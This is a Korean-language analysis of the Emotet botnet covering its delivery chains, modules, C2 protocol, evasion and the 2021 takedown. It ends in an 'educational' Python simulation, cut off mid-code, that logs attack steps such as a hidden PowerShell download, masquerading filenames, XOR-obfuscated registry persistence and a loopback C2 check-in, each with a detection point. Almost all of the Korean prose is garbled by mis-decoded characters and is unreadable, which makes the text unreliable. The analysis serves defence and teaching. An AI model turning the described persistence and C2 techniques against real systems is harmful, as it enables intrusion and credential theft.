1. ๋ฐฐ๊ฒฝ/์ญ์ฌ โ ์ธ์ , ๋๊ฐ, ์ ์ ๋ช ํ๊ฐ
2014๋ ๋ ์ผยท์ค์คํธ๋ฆฌ์ยท์ค์์ค์ ์ํ ๊ณ ๊ฐ์ ๋ ธ๋ฆฌ๋ ํ๋ฒํ ๋ฑ ํน ํธ๋ก์ด๋ก ์ฒ์ ๊ด์ธก๋ Emotet(์ด๊ธฐ ๋ณ์นญ GeodoยทHeodo)์, 7๋ ๋ค ์ ๋ฝ์ฐํฉ ๋ฒ์งํ๊ธฐ๊ด์ด "์ธ๊ณ์์ ๊ฐ์ฅ ์ํํ ์ ์ฑ์ฝ๋(the world's most dangerous malware)"๋ผ๊ณ ๊ณต์ ๋ช ๋ช ํ ๋ด๋ท์ด ๋์๋ค. ์ด๋ฆ์ ์ ๋๋ ์ํ ๊ณ์ข๋ฅผ ๋ปํ๋ ์คํ์ธ์ดยทํฌ๋ฅดํฌ๊ฐ์ด emotet ๊ณ์ด ํํ์ผ๋ก ์๋ ค์ ธ ์๊ณ , ์ฝ๋๋ Delphi๋ก ์์ฑ๋๋ค.
ํต์ฌ์ Emotet์ด ์ค์ค๋ก ๋์ ํ์น๋ ์ ์ฑ์ฝ๋์์ ๋ค๋ฅธ ๋ฒ์ฃ์์๊ฒ ์ธํ๋ผ๋ฅผ ๋น๋ ค์ฃผ๋ '1์ฐจ ์นจํฌ ํ๋ซํผ(MaaS)'์ผ๋ก ์งํํ๋ค๋ ์ ์ด๋ค. Europol์ ์ด๋ฅผ ๋๊ณ "์ ์ธ๊ณ ์ปดํจํฐ ์์คํ ์ 1์ฐจ ๋ฌธ ์ด์ (primary door opener)"๋ผ๊ณ ํํํ๋ค. Emotet์ด ๋ซ์ ๊ธฐ๊ธฐ์ ํ์์ผ๋ก ์ค์น๋ ๊ฒ์ TrickBotยทQakBotยทIcedIDยทBumblebee ๊ฐ์ ๋ก๋์๊ณ , ๊ทธ ๋ค์ ๋จ๊ณ๊ฐ RyukยทConti ๊ณ์ด ๋์ฌ์จ์ด์๋ค. ์ฆ "Emotet ๊ฐ์ผ = ๋์ฌ์จ์ด ์ ๋จ๊ณ"๋ผ๋ ๋ฑ์์ด ์ฑ๋ฆฝํ๋ค.
์ด์ ์ฃผ์ฒด๋ ์ํ ์ธํ ๋ฆฌ์ ์ค์์ TA542(๋ณ์นญ Mummy Spider, Gold Crestwood)๋ก ์ถ์ ๋๋ค. ์ด ๊ทธ๋ฃน์ Epoch(์ํฌํฌ)๋ผ ๋ถ๋ฅด๋ ๋๊ท๋ชจ ๋ฒ์ ๋จ์๋ก C2 ๋ชฉ๋กยท๋ชจ๋ ์ธํธยท๋๋ ํ ๊ธฐ๋ฒ์ ํต์งธ๋ก ๊ฐ์์น์ ๊ณ , ์ด "ํต์งธ๋ก ๊ฐ์์น์ฐ๊ธฐ"๊ฐ 7๋ ๊ฐ ์ถ์ ์ ์ด๋ ต๊ฒ ๋ง๋ ํต์ฌ์ด์๋ค.
- ์ ์ฑ์ฝ๋๋ช : Emotet (๋ณ์นญ Heodo, Geodo, Mummy Spider ๊ด๋ จ ์ํ๊ตฐ)
- ๋ฑ์ฅ/ํ๋: 2014๋ ์ต์ด ๊ด์ธก โ 2018~2020๋ ์ธ๊ณ ์ต๋ ์ด๋ฉ์ผ ์คํธ ๋ด๋ท โ 2021-01-27 ์ธํ๋ผ ์์(Operation Ladybird) โ 2021-11 ๋ถํ, 2022~2023 ์ฌํ์ฐ
- ๊ท์: ์ฌ์ด๋ฒ๋ฒ์ฃ ๊ทธ๋ฃน TA542 / Mummy Spider / Gold Crestwood (๊ตญ๊ฐ ๋ฐฐํ๊ฐ ์๋ ๊ธ์ ๋๊ธฐ ๋ฒ์ฃ ์กฐ์ง)
- ์ ํ: ๋ชจ๋๋ฌ ๋ด๋ท + ๋ค์ด๋ก๋ + ์ธํฌ์คํธ๋ฌ + ์คํธ ํ๋ซํผ(MaaS) โ ์ต์ ๋ก๋๊ฐ C2์์ DLL ๋ชจ๋์ ๋ด๋ ค๋ฐ์ ๊ธฐ๋ฅ์ ํ์ฅ
- ํต์ฌ ๊ธฐ๋ฒ: ๋งคํฌ๋ก ๋ฌธ์ ํผ์ฑ, ์ด๋ฉ์ผ ์ค๋ ๋ ํ์ด์ฌํน, SMB/Wi-Fi ๋ด๋ถ ํ์ฐ, LSASSยท๋ธ๋ผ์ฐ์ ์๊ฒฉ์ฆ๋ช ํ์ทจ, HTTP POST ๊ธฐ๋ฐ ์๋ C2
- ๊ท๋ชจ(๊ณต๊ฐ ์์น): ์ธํ๋ผ ์๋ฒ 700๋ ์ด์ ์์ ยท ์์ ๋ฐ์ดํฐ์ 60๋ง ๊ฐ ๊ณ์ /๋ฉ์ผ/๋น๋ฐ๋ฒํธ ยท ์ ์ธ๊ณ ํผํด ์ถ์ฐ ์ฝ 25์ต ๋ฌ๋ฌ(์ฐํฌ๋ผ์ด๋ ๋น๊ตญ, THN ์ธ์ฉ)
- ์ ์ ๋ช ํ๊ฐ: ๋จ์ผ ์ ์ฑ์ฝ๋๊ฐ ๋์ฌ์จ์ด ์ฐ์ ์ ์ ํต๋ง ์ญํ ์ ํ ์ต์ด์ ๋๊ท๋ชจ ์ฌ๋ก โ 8๊ฐ๊ตญ ๊ณต์กฐ ์์ ์ผ๋ก๋ ์์ ํ ์ฃฝ์ง ์์๋ค
2. ๊ฐ์ผยท์ ํ ๊ฒฝ๋ก โ '์ทจ์ฝ์ '์ด ์๋๋ผ '์ฌ๋'์ ๋ซ๋๋ค
Emotet์ ์ ๋ก๋ฐ์ด๋ฅผ ์ฐ์ง ์์๋ค. ๊ณต๊ฒฉ ํ๋ฉด์ ์ด๋ฉ์ผ ํ ํต๊ณผ ์ฌ์ฉ์์ ํด๋ฆญ ํ ๋ฒ์ด์๋ค. ์ ํ์ ์ธ ์ฒด์ธ์ "ํผ์ฑ ๋ฉ์ผ โ ๋งคํฌ๋ก ๋ฌธ์ โ 2์ฐจ ๋ค์ด๋ก๋ โ Emotet ๋ก๋ โ ๋ชจ๋ ์์ โ ๋ด๋ถ ํ์ฐ"์ด๋ค.
- โ ๋งคํฌ๋ก ๋ฌธ์ ์ฒจ๋ถ: Word(.doc/.docx)ยทExcel(.xls/.xlsm) ๋ฌธ์๋ฅผ ๋ถ์ด๊ณ "๋ฌธ์๊ฐ ์์๋์์ต๋๋ค. ์ฝํ ์ธ ์ฌ์ฉ์ ๋๋ฌ ๋ณต๊ตฌํ์ธ์" ๊ฐ์ ๋ฌธ๊ตฌ๋ก ๋งคํฌ๋ก ์คํ์ ์ ๋ํ๋ค. CISA๋ Emotet์ด ๊ฐ์ผ๋ Word ๋ฌธ์(.doc)๋ฅผ ์ด๊ธฐ ์ฝ์ ๋ฒกํฐ๋ก ์ฌ์ฉํ ์ฌ๋ก๋ฅผ ํ์ธํ๋ค (T1566.001).
- โก ์ด๋ฉ์ผ ์ค๋ ๋ ํ์ด์ฌํน(Emotet์ ํธ๋ ์ด๋๋งํฌ): ๊ฐ์ผ๋ ๊ธฐ๊ธฐ์์ ์์ ํ์น ์ค์ ๋ฉ์ผ ๋ํ๋ฅผ
๊บผ๋ด, ๊ทธ ๋ํ์ ๋ต์ฅ์ฒ๋ผ ์์ฅํ ๋ฉ์ผ์ ์ ํผํด์์๊ฒ ๋ณด๋ธ๋ค. ์ ๋ชฉ์
RE: (์๋ ์ ๋ชฉ), ์์ ์๋ ๊ธฐ์กด ์ฐธ์ฌ์, ๋ณธ๋ฌธ์ ์ธ์ฉ๋ฌธ๊ณผ ์๋ ์๋ช ๊น์ง ๋ณต์ ๋๋ค. ๋ฏ์ ๋ฐ์ ์๊ฐ ์๋๋ผ "์๋ ์ฌ๋์ ํ์ "์ผ๋ก ๋ณด์ด๊ธฐ ๋๋ฌธ์ ์ด๋ยท์คํ๋ฅ ์ด ์๋์ ์ผ๋ก ๋๋ค. Europol์ "Emotet ๊ทธ๋ฃน์ ์ด๋ฉ์ผ์ ๊ณต๊ฒฉ ๋ฒกํฐ์ ๋ค์ ๋จ๊ณ๋ก ๋์ด์ฌ๋ ธ๋ค"๊ณ ํํ๋ค. - โข ๋งํฌํ ๊ฐ์ผ: ์ฒจ๋ถ ๋์ ํด๋ผ์ฐ๋ ์ ์ฅ์ยทPDFยทHTML ๋งํฌ๋ก ๋ค์ด๋ก๋๋ฅผ ๋ฐ๊ฒ ํ๋ ๋ฐฉ์ (T1566.002). ์ฒจ๋ถ ํํฐ๋ฅผ ์ฐํํ๊ธฐ ์ํ ๋ณํ์ด๋ค.
- โฃ ๋ด๋ถ ํ์ฐ(Wi-Fi ํฌํจ): CISA๋ Emotet์ "์ ๊ฐ์(worm-like) ํน์ฑ"์ ์ง์ ํ๋ค. ๋ก์ปฌ ๊ณ์ ์ํธ๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ (T1110.001)ํด SMB Admin$ ๊ณต์ (T1021.002)๋ก ์ PC์ ์ค์ค๋ก ๋ณต์ ํ๋ค. 2020๋ 2์์๋ Wi-Fi ์คํ๋ ๋ ๋ชจ๋์ด ์ถ๊ฐ๋์ด, ์ธ์ ๋ฌด์ AP์ ์ฝํ ์ํธ๋ฅผ ๋ซ๊ณ ์ ๊ธฐ๊ธฐ๋ฅผ ๊ฐ์ผ์ํค๋ ๊ธฐ๋ฅ๊น์ง ๊ฐ์ท๋ค.
- โค ์ ๋ฌ ํ์์ ์งํ: ๋ง์ดํฌ๋ก์ํํธ๊ฐ 2022๋ ๋ถํฐ ์ธํฐ๋ท์์ ๋ฐ์ Office ๋ฌธ์์ ๋งคํฌ๋ก๋ฅผ ๊ธฐ๋ณธ ์ฐจ๋จํ์, Emotet์ ZIP+LNK, ISO, XLL, OneNote ๋ฑ์ผ๋ก ์ด๋ํ๋ค. ํนํ 2022~2023๋ ์๋ "์ฒจ๋ถ ํ์ผ์ Office Templates(์ ๋ขฐ ์์น) ํด๋๋ก ์ฎ๊ธด ๋ค ์คํํ๋ผ"๋ ์ฌํ๊ณตํ ํธ๋ฆญ์ ์ฌ์ฉํด Mark-of-the-Web(์ธํฐ๋ท ํ์)๊ณผ ๋งคํฌ๋ก ๊ธฐ๋ณธ ์ฐจ๋จ์ ๋์์ ์ฐํํ๋ค.
| ์๊ธฐ | ์ฃผ๋ ์ ๋ฌ ๋งค์ฒด | ์ฐํ ๋์ |
|---|---|---|
| 2014~2017 | ๋งคํฌ๋ก ํฌํจ Word/Excel ์ฒจ๋ถ | ์ฌ์ฉ์ ๊ฒฝ๊ณ์ฌ |
| 2018~2022 ์๋ฐ๊ธฐ | ๋งคํฌ๋ก ๋ฌธ์ + ์ค๋ ๋ ํ์ด์ฌํน, ๋งํฌํ | ๋ฉ์ผ ๊ฒ์ดํธ์จ์ด ์ฒจ๋ถ ํํฐ |
| 2022 ํ๋ฐ๊ธฐ~2023 | ZIP ์์ LNK, ISO, XLL, OneNote / "Templates ํด๋๋ก ์ฎ๊ฒจ ์คํ" ์ ๋ | ๋งคํฌ๋ก ๊ธฐ๋ณธ ์ฐจ๋จ ยท Mark-of-the-Web |
3. ๋์ ์๋ฆฌ ์์ธ ๋ถ์ โ ์ฝ๋/๊ตฌ์กฐ ๋ ๋ฒจ
3.1 ๋ชจ๋๋ฌ ๊ตฌ์กฐ: "๋ก๋๋ ์ต์, ๊ธฐ๋ฅ์ ์ ๋ถ C2์์"
Emotet์ ๋ณธ์ฒด๋ ๊ทธ ์์ฒด๋ก ์์ฑ๋ ์ ์ฑ์ฝ๋๊ฐ ์๋๋ผ ๋ชจ๋ ๋ก๋๋ค. ์ต์ด ์คํ ํ์ผ์ ์์คํ ์ ๋ณด๋ฅผ ์์งํด ์ฒดํฌ์ธํ๊ณ , C2๊ฐ ๋ด๋ ค์ฃผ๋ DLL ๋ชจ๋์ ๋ฉ๋ชจ๋ฆฌ์ ์ฌ๋ ค ๊ธฐ๋ฅ์ ํ์ฅํ๋ค. ๋๋ถ์ ๊ฐ์ ๊ฐ์ผ ๊ธฐ๊ธฐ๊ฐ ์คํธ ๋ฐ์ก๊ธฐ, ์๊ฒฉ์ฆ๋ช ํ์ทจ๊ธฐ, ์ ํ๊ธฐ๋ก ๋์์ ์ฐ์ผ ์ ์์๋ค.
| ๋ชจ๋(๊ธฐ๋ฅ) | ์ญํ | ๊ด๋ จ ATT&CK |
|---|---|---|
| systeminfo | ํธ์คํธยท์ฌ์ฉ์ยทOSยทAVยท๋๋ฉ์ธ ์ ๋ณด ์์ง ํ ์ฒดํฌ์ธ | T1082, T1012 |
| email stealer / spam | ๋ฉ์ผ ํด๋ผ์ด์ธํธ ์ฌ์ํจยท์ฃผ์๋กยท๋ํ ํ์ทจ โ ์คํธ ๋ฐ์ก ์์ฌ ๋ฐ ์ค๋ ๋ ํ์ด์ฌํน | T1114.001, T1087.003 |
| credential grabber | LSASS ๋ฉ๋ชจ๋ฆฌ ๋คํ(Mimikatz ๊ณ์ด), ์ ์ฅ๋ ๋ธ๋ผ์ฐ์ ยท๋ฉ์ผ ๋น๋ฐ๋ฒํธ ํ์ทจ | T1003.001, T1555.003 |
| spreader | ๋ก์ปฌ ๊ณ์ ๋ฌด์ฐจ๋ณ ๋์ โ SMB Admin$ ๊ณต์ ๋ก ์ ์ฌ ์ ํ(์์ ํ์ฐ) | T1110.001, T1021.002 |
| Wi-Fi spreader | ์ธ์ ๋ฌด์ AP ๋น๋ฐ๋ฒํธ๋ฅผ ๋ซ์ด ์ ๊ธฐ๊ธฐ ๊ฐ์ผ(2020-02 ์ถ๊ฐ) | T1110, T1040 |
| DDoS / (2023) ์นด๋ ํ์ทจ | ํธ๋ํฝ ๊ณต๊ฒฉ ์ํ, ํฌ๋กฌ์ ์ ์ฅ๋ ์ ์ฉ์นด๋ ์ ๋ณด ํ์ทจ | T1498, T1555.003 |
3.2 ์คํ ์ฒด์ธ 8๋จ๊ณ (๊ณต๊ฐ ๋ถ์์์ ๊ด์ฐฐ๋ ํ๋ฆ)
- ์คํผ์ดํผ์ฑ ๋ฉ์ผ โ ๋งคํฌ๋ก ํฌํจ
.xlsm/.doc์ฒจ๋ถ (T1566.001) - ์ฌ์ฉ์๊ฐ "์ฝํ
์ธ ์ฌ์ฉ" ํด๋ฆญ โ
AutoOpen๋งคํฌ๋ก ์คํ (๋๋ ํ๋ ๋งคํฌ๋ก, T1027) - ๋งคํฌ๋ก๊ฐ WMI(T1047)ยทPowerShell(T1059)๋ก ์คํ์ ์์ โ ๋ค์ด๋ก๋ ์คํฌ๋ฆฝํธ ์ํ
- ๋๋กํผ๋ฅผ %TEMP% ๋ฑ์ ์ ์ฅ. ํ์ผ๋ช
์
svchost.exeยทrundll32.exe์ฒ๋ผ system32 ์ ์กด์ฌํ๋ ์ ์ ํ์ผ๋ช ์ ๊ณจ๋ผ ์์ฅํ๋ค (T1036.005) - ์ง์์ฑ ์๋: Binary Defense๊ฐ 2020๋ ๊ด์ฐฐํ ๊ธฐ๋ฒ โ ์ ์ฅ ํ์ผ๋ช ์ XOR ํค๋ก ์ํธํํด ๋ ์ง์คํธ๋ฆฌ ๊ฐ์ ๋ฃ๊ณ , ๊ฐ ์ด๋ฆ์ ๋ณผ๋ฅจ ์๋ฆฌ์ผ ๋ฒํธ๋ก ์ค์ ํ๋ค. ๋จ์ Run ํค ๊ฒ์ฌ๋ก๋ ๋๋ฌ๋์ง ์๋๋ค
HKCU\Software\Microsoft\Windows\CurrentVersion\Run๋ฑ๋ก โ ์ฌ๋ถํ ํ ์๋ ์คํ (T1547.001)- C2 ์ฒดํฌ์ธ โ ์๋ 3.3์ HTTP POST ํ๋กํ ์ฝ
- C2์์ ๋ชจ๋ DLL ์์ โ ์๊ฒฉ์ฆ๋ช ํ์ทจยท์คํธยทํ์ฐ ๊ธฐ๋ฅ ํ์ฑํ
3.3 C2 ํ๋กํ ์ฝ โ "์ ์ ์น ํธ๋ํฝ์ฒ๋ผ ๋ณด์ด๋" ์ค๊ณ
- ์ ์ก: HTTP POST. URI๋ ๋ฌด์์ ๊ธธ์ด์ ์ํ๋ฒณ ๋๋ ํฐ๋ฆฌ(์:
POST /verlxnpdrbby/)๋ก, ๊ฒฝ๋ก ๋ฌธ์์ด๋ง ๋ด์๋ ์๋ฏธ๊ฐ ์๋ค (T1071.001). - User-Agent ์์ฅ: ๊ตฌํ Internet Explorer ๋ฌธ์์ด
(
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0 ...))์ ์ฌ์ฉํ๋ค๊ณ CISA๊ฐ ๊ธฐ๋กํ๋ค. 2026๋ ๊ธฐ์ค์ผ๋ก ์ด UA๋ ๊ทธ ์์ฒด๊ฐ ๊ฐํ ์ด์ ์ ํธ๋ค. - ํฌํธ ๋ค์ํ: 80/443๋ฟ ์๋๋ผ 20, 22, 7080, 50000 ๊ฐ์ ๋นํ์ค ํฌํธ๋ ์ฌ์ฉ (T1571).
- ๋ณธ๋ฌธ ๋๋ ํ: ์์ง ๋ฐ์ดํฐ๋ฅผ ์์ถ(T1560) โ XOR โ Base64 ์์ผ๋ก ๊ฐ์ธ ์ ์กํ๊ณ , C2 ํต์ ์๋ RSA(T1573.002)๊ฐ ์ฌ์ฉ๋ ๊ฒ์ผ๋ก ์๋ ค์ ธ ์๋ค.
- ์๋ณ์ ์ ๋ฌ: ๋ด ID(์์ซ์ 9์ ๋ด์ธ)๊ฐ
PHPSESSID=ํํ๋ก ์ฟ ํค์ ์ค๋ฆฐ๋ค. CISA๋ ์์คํ ์ ๋ณด๊ฐ HTTP GET ์์ฒญ์ ์ฟ ํค์ ๋ด๊ฒจ ์ ์ถ(T1041)๋๋ ํจํด์ ํ์ธํ๋ค. - ๊ฐ์ฉ์ฑ ์ค๊ณ: C2 ์ฃผ์๋ ์ฝ๋์ ํ๋์ฝ๋ฉ๋ ๋ชฉ๋ก์ผ๋ก ๊ด๋ฆฌ๋ผ, ์๋ต์ด ์์ผ๋ฉด ๋ค์ ์ฃผ์๋ก ํด๋ฐฑํ๋ค. ๋๋ฉ์ธ ์์ฑ ์๊ณ ๋ฆฌ์ฆ(DGA)์ ์ฐ์ง ์์ ๋ชฉ๋ก ์์ฒด๋ฅผ ์๋ฉด ํต์งธ๋ก ์ฐจ๋จยท์์ํ ์ ์์๋ค โ 2021๋ ์์ ์ด ์ฑ๊ณตํ ๊ธฐ์ ์ ์ด์ ๋ค.
3.4 ๋ฌด์์ ํ์น๋๊ฐ โ 2์ฐจ ๊ณต๊ฒฉ์ ์ฐ๋ฃ
Emotet์ ์ค์ค๋ก ๋์ฌ์จ์ด๊ฐ ๋์ง ์๋๋ค. ๋์ ๋ค์ ๋จ๊ณ๊ฐ ์ธ ๋ชจ๋ ๊ฒ์ ์์งํ๋ค: LSASS ๋ฉ๋ชจ๋ฆฌ์์์ ๊ณ์ ์๊ฒฉ์ฆ๋ช ๊ณผ Mimikatz ๊ณ์ด ๋ชจ๋(T1003.001), ๋ธ๋ผ์ฐ์ ์ ์ ์ฅ๋ ๋น๋ฐ๋ฒํธยท์ ์ฉ์นด๋(T1555.003), ๋ฉ์ผ ์ฃผ์๋ก๊ณผ ๋ํ ๋ณธ๋ฌธ(์คํธ ์์ฌ + ์ค๋ ๋ ํ์ด์ฌํน ์ฌ๋ฃ), ๋คํธ์ํฌ ๊ตฌ์ฑ๊ณผ ์ ์ ์๊ฒฉ์ฆ๋ช . ๊ทธ ๊ฒฐ๊ณผ ํ ๋์ ๊ฐ์ผ์ด ํ ์กฐ์ง ์ ์ฒด์ ์๊ฒฉ์ฆ๋ช ์ ์ถ๋ก ์ด์ด์ก๋ค.
3.5 ์๋ฐ์ฑยทํํผ
- ์ปค์คํ ํจ์ปค๋ก ํ์ด๋ก๋ ๋ณดํธ(T1027.002), ๋งคํฌ๋ก ๋ด URLยท๋ช ๋ น ์ธ์ ๋๋ ํ(T1027)
- ๋คํธ์ํฌ API ํํน์ผ๋ก ํต์ ๊ฐ์(T1040), ํ๋ก์ธ์ค ์ธ์ ์ ์ผ๋ก ์ ์ ํ๋ก์ธ์ค์ ๊ธฐ์
- 32๋นํธ โ 64๋นํธ ์ ํ(2023)์ผ๋ก ํ์ง ๋ก์ง ์ฐํ, ํฌ์ค์์น ํจ์น ํ ์ฌ๊ฐ์ผ ๋ฐฉ์ง
- ์ํฌํฌ ๋จ์ ๋๊ท๋ชจ ์ ๋ฐ์ดํธ๋ก ์๊ทธ๋์ฒ ๊ธฐ๋ฐ ํ์ง๋ฅผ ๋ฐ๋ณต ๋ฌด๋ ฅํ
4. ํผํด ๊ท๋ชจ/์ํฅ โ ์ซ์์ ์ค์ ์ฌ๋ก
- 700๋+ C2 ์๋ฒ ์์: 2021-01-27 "Operation Ladybird" โ ๋ค๋๋๋ยท๋ ์ผยท๋ฏธ๊ตญยท์๊ตญยทํ๋์คยท ๋ฆฌํฌ์๋์ยท์บ๋๋คยท์ฐํฌ๋ผ์ด๋ 8๊ฐ๊ตญ ๊ณต์กฐ. ์๊ตญ NCA๋ ์ธํ๋ผ ๋งคํ์ ์ฝ 2๋ ์ด ๊ฑธ๋ ธ๋ค๊ณ ๋ฐํ๋ค.
- ํ๋ฅดํค์ฐ ์์์์ยท์ฒดํฌ 2๋ช : ์ฐํฌ๋ผ์ด๋ ์ฌ์ด๋ฒ๊ฒฝ์ฐฐ์ด ์ธํ๋ผ ์ ์งยท์ด์์ ๊ด์ฌํ 2๋ช ์ ์ฒดํฌ(์ ์ฃ ์ ์ต๋ 12๋ ).
- ์๊ธ ํ๋ฆ(์๊ตญ NCA): ๋ฒ์ฃ ์กฐ์ง ๊ณ์ ๋ถ์ ๊ฒฐ๊ณผ ๊ฐ์์์ฐ ํ๋ซํผ ํ ๊ณณ์์๋ง 2๋ ๊ฐ 1,050๋ง ๋ฌ๋ฌ๊ฐ ์ด๋ํ๊ณ , ์ธํ๋ผ ์ ์ง๋น๋ก ์ฝ 50๋ง ๋ฌ๋ฌ๋ฅผ ์ง์ถํ๋ค.
- ํผํด ๊ท๋ชจ: ์ฐํฌ๋ผ์ด๋ ๋น๊ตญ ์ถ์ฐ ์ ์ธ๊ณ ํผํด ์ฝ 25์ต ๋ฌ๋ฌ(THN ์ธ์ฉ). ๊ธ์ ํผํด๋ฟ ์๋๋ผ Emotet์ด ๊น์์ค ๋ฐํ ์์์ ๋์ฌ์จ์ด 2์ฐจ ํผํด๊ฐ ๋ฐ์ํ๋ค.
- ์ ์ถ๋ ์๊ฒฉ์ฆ๋ช 60๋ง ๊ฑด: ๋ค๋๋๋ ๊ฒฝ์ฐฐ์ ์์ ๋ฐ์ดํฐ์์ ํ์ธ๋ 60๋ง ๊ฐ์ ์ด๋ฉ์ผ ์ฃผ์ยท์ฌ์ฉ์๋ช ยท ๋น๋ฐ๋ฒํธ ๋ฐ์ดํฐ์ ์ ๊ณต๊ฐํ๊ณ ๊ฐ์ผ ํ์ธ ๋๊ตฌ๋ฅผ ๋ฐฐํฌํ๋ค.
- CISA EINSTEIN ํ์ง: 2020๋ 7์ ์ดํ ๋ฏธ ์ฐ๋ฐฉยท๋ฏผ๊ฐ ๋คํธ์ํฌ์์ Emotet ๊ด๋ จ ๊ฒฝ๋ณด ์ฝ 16,000๊ฑด. ๊ฐ์ ํด CISAยทMS-ISAC๋ ์ฃผยท์ง๋ฐฉ ์ ๋ถ๋ฅผ ๊ฒจ๋ฅํ Emotet ํผ์ฑ ๊ธ์ฆ์ ๊ฒฝ๊ณ ํ๋ค (๊ฒฝ๋ณด AA20-280A, 2020-10-24 ๊ฐ์ ).
- 2021-04-25 12:00 "๋๋ ์ ๊ฑฐ": ์์ํ C2 ์ธํ๋ผ๋ฅผ ํตํด ๊ฐ์ผ ๊ธฐ๊ธฐ์
EmotetLoader.dll์ ๊ฑฐ ํ์ด๋ก๋๋ฅผ ๋ฐ์ด ๋ฃ์ด ์ ์ธ๊ณ ๊ฐ์ผ ๊ธฐ๊ธฐ๋ฅผ ์ผ๊ด ๊ฒฉ๋ฆฌยท์ญ์ ํ๋ค. "์ ์ฑ์ฝ๋์ C2๋ฅผ ๋ฐฉ์ด์๊ฐ ์ฅ์ ํด ๋ฐฑ์ ์ผ๋ก ์ญ์ด์ฉํ" ๋๋ฌธ ์ฌ๋ก๋ค. - 182์ผ ํฌ์ค์์น(2020): ์ฐ๊ตฌ์(Binary Defense)๊ฐ Emotet ์์ฒด์ ์ทจ์ฝ์ ์ ์ฐพ์ 2020-02-06 ~ 08-06 ๋์ ํ์ฐ์ ์ฐจ๋จํ๋ค. ์ ์ฑ์ฝ๋๋ ์ํํธ์จ์ด์ด๋ฏ๋ก ๋ฒ๊ทธ๊ฐ ์๋ค๋ ์ฌ์ค์ ๋ณด์ฌ์ค ์ฌ๋ก.
- ๋ถํ๊ณผ ์ฌํ์ฐ: 2021-11 ๋ถํ โ 2022-11 Proofpoint๋ "ํ๋ฃจ ์์ญ๋ง ํต" ๊ท๋ชจ์ ์คํธ์ด ๋ค์ ํ๋ฅด๊ณ ์๋ค๊ณ ๋ณด๊ณ ํ๊ณ , ํ์ ๊ตญ์ ๋ฏธ๊ตญยท์๊ตญยท์ผ๋ณธยท๋ ์ผยท์ดํ๋ฆฌ์ยทํ๋์คยท์คํ์ธยท๋ฉ์์ฝยท๋ธ๋ผ์ง์ด์๋ค. ํ ์ดํฌ๋ค์ด์ ์ข ๋ง์ด ์๋๋ผ ํด์ง๊ธฐ์๋ค.
5. PoC โ ๊ต์ก์ฉ ๋ชจ์ ์ฌํ (๋ก์ปฌ ๊ฐ์ ํ๊ฒฝ ์ ์ฉ)
127.0.0.1(loopback)์ด๋ฉฐ, ์ค์ต์ ์ธํฐ๋ท๊ณผ ๋ถ๋ฆฌ๋ ๊ฐ์ ๋ก์ปฌ ๋ฉ VM
(์: lab.local, ์ค๋
์ท ๋ณต์ ๊ฐ๋ฅํ ๊ฒฉ๋ฆฌ ํ๊ฒฝ)์์๋ง ๊ฐ์ ํ๋ค. ์ค์ ํ๊ฒฝ์์ ์คํยท๋ณํยท๋ฐฐํฌ ๊ธ์ง.
PoC 1 โ ๋ฌธ์ ๋งคํฌ๋ก โ ๋ค์ด๋ก๋ โ ์ง์์ฑ ์ฒด์ธ (์คํ ๋ก๊ทธ ์ฌํ)
๊ฐ ๋จ๊ณ๊ฐ ์ด๋ค ํ์ ์ ๋จ๊ธฐ๋์ง๊ฐ ํต์ฌ์ด๋ค. ์ค์ ์คํ ์์ด ๋จ๊ณยทํ์ง ์ง์ ์ ์ถ๋ ฅํ๋ค.
# emotet_poc_macro.py (๋ฐ์ท) โ ์ค์ ์คํ/๋ค์ด๋ก๋/๋ ์ง์คํธ๋ฆฌ ๋ณ๊ฒฝ ์์, ๋ก๊ทธ๋ง ์ฌํ
def log(step, detail, detection):
STEPS.append({"๋จ๊ณ": step, "๋์(๋ชจ์)": detail, "๋ฐฉ์ด์ ํ์ง ์ง์ ": detection})
log("โ ์คํผ์ดํผ์ฑ ๋ฉ์ผ", "์
๋ฌด ๋ฌธ์๋ฅผ ๊ฐ์ฅํ ํ์ + ๋งคํฌ๋ก ํฌํจ .xlsm ์ฒจ๋ถ",
"๋ฉ์ผ ๊ฒ์ดํธ์จ์ด: ๋งคํฌ๋ก ๋ฌธ์/์ค์บ ๋ถ๊ฐ ์์ถ ์ฒจ๋ถ ์ฐจ๋จ (CISA ๊ถ๊ณ )")
log("โก ๋ฌธ์ ์ด๋ + ๋งคํฌ๋ก", "์ฌ์ฉ์๊ฐ '์ฝํ
์ธ ์ฌ์ฉ' ํด๋ฆญ โ AutoOpen ์คํ",
"GPO/Office ์ ์ฑ
: ์ธํฐ๋ท ๋ฌธ์ ๋งคํฌ๋ก ๊ธฐ๋ณธ ์ฐจ๋จ, ์ ๋ขฐ ์์น ๊ฐ์ฌ")
log("โข 2์ฐจ ์คํ ์์", "WMI โ powershell -w hidden ๋ค์ด๋ก๋ (T1047/T1059)",
"WMIยทPowerShell ์คํฌ๋ฆฝํธ ๋ธ๋ก ๋ก๊น
/AMSI, ๋ถ๋ชจ-์์ ํ๋ก์ธ์ค ๊ด๊ณ")
fname = random.choice(["svchost.exe", "conhost.exe", "dllhost.exe", "rundll32.exe"])
path = "C:\\Users\\labuser\\AppData\\Local\\Temp\\" + fname # ์ ์ ํ์ผ๋ช
์์ฅ
log("โฃ ๋๋กํผ ๊ธฐ๋ก", path + " ๋ก ์ ์ฅ (T1036.005)",
"EDR: Temp ์์ ์คํ๋๋ '์์คํ
ํ๋ก์ธ์ค๋ช
' = ๊ฐํ ์์ฌ")
enc = "".join("%02x" % (b ^ key) for b in path.encode())
log("โค ์ง์์ฑ ์๋", "ํ์ผ๋ช
XOR(key=0x%02X) โ ๋ ์ง์คํธ๋ฆฌ ๊ฐ(ํค=๋ณผ๋ฅจ์๋ฆฌ์ผ)์ ์ ์ฅ" % key,
"๋ ์ง์คํธ๋ฆฌ ๋ชจ๋ํฐ๋ง: ๋ณผ๋ฅจ ์๋ฆฌ์ผ ์ด๋ฆ ๊ฐ + XOR ๋๋
ํ์ ")
log("โฅ ์๋ ์คํ ๋ฑ๋ก", "HKCU\\...\\Run ๋ฑ๋ก (T1547.001)", "Run ํค ์ ๊ท ๊ฐ ์๋ฆผ (Sysmon EID 13)")
log("โฆ C2 ์ฒดํฌ์ธ", "POST http://127.0.0.1:8080/<๋ฌด์์ 8์>/ (๊ตฌํ IE UA)",
"๋ฌด์์ ๊ฒฝ๋ก POST + ๋นํ์ค ํฌํธ + MSIE 7.0 UA ์กฐํฉ")
log("โง ๋ชจ๋ ์์ ", "C2์์ DLL ๋ชจ๋ ๋ด๋ ค๋ฐ์ ๊ธฐ๋ฅ ํ์ฅ",
